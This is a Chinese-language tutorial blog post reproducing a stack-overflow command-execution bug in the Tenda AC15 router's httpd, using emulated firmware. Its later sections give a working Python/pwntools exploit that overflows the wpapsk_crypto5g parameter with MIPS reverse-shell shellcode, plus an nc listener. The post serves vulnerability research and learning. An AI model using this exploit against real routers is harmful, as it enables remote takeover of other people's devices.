腾达AC15无线路由器栈溢出漏洞(命令执行)复现
前言
之前一直在打ctf,没接触过实战,在大佬的指点下开始学习路由器漏洞。第一次尝试挖出来漏洞,遂写本文记录。
前置知识:
- 代码审计
- CTF pwn(二进制安全)
- 栈溢出
- NX保护
- shellcode
- IDA pro 调试
- gdb 调试
- CTF re(逆向工程)
- 010EditorPortable
本文参考:https://www.iotsec-zone.com/article/493
- 010EditorPortable
一、准备工作
1.1 宿主机环境
本体:windows 11
软件:
VMwareVScodeIDA pro 9010EditorPortable
比较常规,下载好了就可以,不需要太多设置,额外准备github访问环境
1.2 kali 环境
虚拟机:kali
软件:
binwalkpwngdbpython3pwntoolsqemu
1.2.1 binwalk
kali上自带有binwalk,但是我们要编译安装新版的binwalk
官方教程:https://github.com/ReFirmLabs/binwalk/wiki/Compile-From-Source#step-3
- 卸载自带的
sudo apt remove binwalk
- 安装
curl
sudo apt install curl
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
. $HOME/.cargo/env
- 安装
git
sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
- 编译安装
sudo apt install build-essential libfontconfig1-dev liblzma-dev
sudo ./binwalk/dependencies/ubuntu.sh
- 开始编译
cd binwalk
cargo build --release
- 拷贝替换
sudo cp ./target/release/binwalk /bin
sudo cp ./target/release/binwalk /usr/bin
1.2.2 pwngdb
我个人更加习惯使用pwngdb替换gdb
下载最新的x86-64/AMD64 Linux

上传到服务器上
- 解压
tar -xvf 你的文件名.tar.xz -C ~
- 卸载自带gdb
sudo apt purge gdb
sudo apt autoremove
rm -rf ~/.gdbinit ~/.gdb_history
- 修改文件
cd ~/pwndbg
pwd

记住pwd输出
cd ./bin
sudo nano ./pwndbg

将第一行sh改为zsh,第二行改为刚刚的pwd输出
ctrl+x退出,y保存更改
sudo cp ./pwndbg ./gdb
sudo shmod +x ./gdb
sudo cp ./gdb /bin
sudo cp ./gdb /usr/bin
- 测试
gdb

出现pwndbg即为成功
1.2.3 pwntools
python3 官方自带,安装pwntools即可
sudo apt install python-pwntools
1.2.4 qemu
sudo apt update
sudo apt install qemu qemu-kvm qemu-system qemu-utils libvirt-clients libvirt-daemon-system virt-manager -y
二、固件处理
2.1 下载固件
下载地址:https://www.tendacn.com/download/detail-3187.html
下载下来长这样子:

丢入kali,放在你喜欢的工作目录
2.2 解包固件
这个路由器固件比较低端,没做加密,可以直接解包(不管怎么样,先解包,解不了自然就是加密的)
sudo sudo binwalk -Me US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin
解包完成应该可以看到这样的结构

看起来很标准的liunx结构
2.3 文件检查
一般来说,路由器真正干活的二进制文件会放在/bin或/usr/bin下,注意观察httpd或web之类的文件

我们发现有一个httpd,下载下来到windows
然后我们使用file查看
file ./httpd

发现是ELF 32-bit LSB executable, MIPS小端序的MIPS架构
2.3.1 MIPS架构?
别怕,和x86没什么区别,因为不支持NX甚至更好打
然后检查保护
checksec --file=./httpd

oh,保护全关
2.4 启动qemu虚拟机
在固件的根目录下打开终端(即:和bin文件间同一层)
sudo cp $(which qemu-mipsel-static) qemu-mipsel-static
sudo chroot . ./qemu-mipsel-static ./bin/sh
就启动了虚拟机,打开了一个虚拟机终端
常见架构与对应 QEMU 命令如下:
| 架构 | QEMU 静态解释器 | 典型用例 | 示例命令 |
|---|---|---|---|
| MIPS (小端) | qemu-mipsel-static |
路由器、嵌入式设备(OpenWRT) | sudo chroot . ./qemu-mipsel-static ./bin/sh |
| MIPS (大端) | qemu-mips-static |
传统 MIPS 设备 | sudo chroot . ./qemu-mips-static ./bin/sh |
| ARM (32位) | qemu-arm-static |
树莓派、旧版 Android | sudo chroot . ./qemu-arm-static ./bin/sh |
| ARM (64位) | qemu-aarch64-static |
新版 Android、ARM 服务器 | sudo chroot . ./qemu-aarch64-static ./bin/sh |
| x86 (32位) | qemu-i386-static |
旧版 32 位 Linux 程序 | sudo chroot . ./qemu-i386-static ./bin/sh |
| x86_64 | qemu-x86_64-static |
64 位 Linux 程序(通常无需模拟) | sudo chroot . ./qemu-x86_64-static ./bin/sh |
| PowerPC | qemu-ppc-static |
旧版 IBM/Mac 设备 | sudo chroot . ./qemu-ppc-static ./bin/sh |
| SPARC | qemu-sparc-static |
Sun SPARC 工作站 | sudo chroot . ./qemu-sparc-static ./bin/sh |
| RISC-V | qemu-riscv64-static |
RISC-V 开发板(如 HiFive) | sudo chroot . ./qemu-riscv64-static ./bin/sh |
2.5 初始化虚拟机
如同电脑开机要初始化一样,路由器固件也要初始化,初始化脚本常常放在etc、etc_ro、init.d等地方,一般名称是rcS
我们在这里找到了rcS

我们直接在虚拟机终端内执行:
chmod +x /etc_ro/init.d/rcS
./etc_ro/init.d/rcS
然后重启kali,是的,重启kali
因为初始化脚本会挂载一堆奇奇怪怪的设备,会导致一些奇奇怪怪的问题,懒得一个个卸载了,直接重启就好
2.6 搭建网桥
重启后执行:
sudo brctl addbr br0
sudo ifconfig br0 192.168.0.1
chmod +x ./bin/httpd
./bin/httpd
我们发现跑起来了

可以在kali浏览器打开192.168.0.1查看网页
直接 ctrl+c 结束,进入静态分析阶段
三、静态分析
ida打开httpd

有这么多函数该怎么找漏洞呢?
3.1 快速找到漏洞
通常来说,我们希望通过远程来打,所以重点分析名字中带有:
sethttpwebconfing
等可能和网络交互有关的函数
或者,找:
strcpysprintfmemcpysscanf
等高危险函数,找交叉引用
这里就是非常费精力的代码审计环节了,反正就是找漏洞
3.2 分析危险函数
通过对固件反编译的通读,我们发现在set_repeat5函数处将POST参数wpapsk_crypto5g放到了栈上,且没有保护。

那我们开启虚拟机,尝试漏洞存不存在
sudo chroot . ./qemu-mipsel-static ./bin/sh
./bin/httpd
然后在kali里写:
import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\
payload = {
'configured5g': 'true',
'originSsid5g': '1234',
'encode5g': '1234',
'security5g': 'wpapsk',
'wpapsk_type5g': 'wpa2',
'wpapsk_crypto5g': b"a"*0x100,
'wpapsk_key5g': '1234567890'
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)
发送两次包(第一次浏览器默认设置页面,第二次触发漏洞)
发现程序直接退出,漏洞存在

四、动态调试
结束qemu虚拟机,连接ida进行调试,在ida的这个地方下断点(即set_repeat5函数马上要返回的地方):

启动调试
sudo chroot . ./qemu-mipsel-static -g 9999 ./bin/httpd


ida直接运行(按两次),显示程序正在运行为止,然后发包(注意有更改!!)
import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\
payload = {
'configured5g': 'true',
'originSsid5g': '1234',
'encode5g': '1234',
'security5g': 'wpapsk',
'wpapsk_type5g': 'wpa2',
'wpapsk_crypto5g': b"a"*0x10, # 这里
'wpapsk_key5g': '1234567890'
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)
远程调试启动程序,并且发送两次数据包来到断点

观察到栈上数据和返回地址

4.1 尝试拿shell
发现可以将shellcode加载到0x2B2AADA8处(即返回地址下面,因为没开PIE,所以可以硬编码地址),使用反向shell
import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\
shellcode = shellcraft.mips.linux.connect('192.168.112.139', 4444)
payload = {
'configured5g': 'true',
'originSsid5g': '1234',
'encode5g': '1234',
'security5g': 'wpapsk',
'wpapsk_type5g': 'wpa2',
'wpapsk_crypto5g': (cyclic(0x14) + p32(0x2B2AADA8)) + asm(shellcode+shellcraft.mips.linux.dupsh()),
'wpapsk_key5g': '1234567890'
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)
但是程序总是在set_ssid_ori_encode和SetValue崩溃,需要修补文件
4.2 修补文件
因为模拟器没有外部设备,使用010去除外部函数
在ida打开指令显示:


改为5,就能看到对应的指令了

然后打开010搜索二进制值去改


将修改好的httpd再次放到原来的位置
sudo chmod +x ./httpd
sudo chroot . ./qemu-mipsel-static ./bin/httpd
4.3 反弹shell
在192.168.112.139(即kali的ip地址)nc监听4444:
nc -lvnp 4444
发包两次:
import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\
shellcode = shellcraft.mips.linux.connect('192.168.112.139', 4444)
payload = {
'configured5g': 'true',
'originSsid5g': '1234',
'encode5g': '1234',
'security5g': 'wpapsk',
'wpapsk_type5g': 'wpa2',
'wpapsk_crypto5g': (cyclic(0x14) + p32(0x2B2AADA8)) + asm(shellcode+shellcraft.mips.linux.dupsh()),
'wpapsk_key5g': '1234567890'
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)

成功getshell
五、总结
实际上这个路由器太宝宝巴士了,被挖爆了,之后还有一堆加密、动态加载动态库、运行环境要修一堆东西,不过迈出第一步就是好的
附带资料:
https://www.123912.com/s/dlcdjv-1bHg 提取码:BRTt

浙公网安备 33010602011771号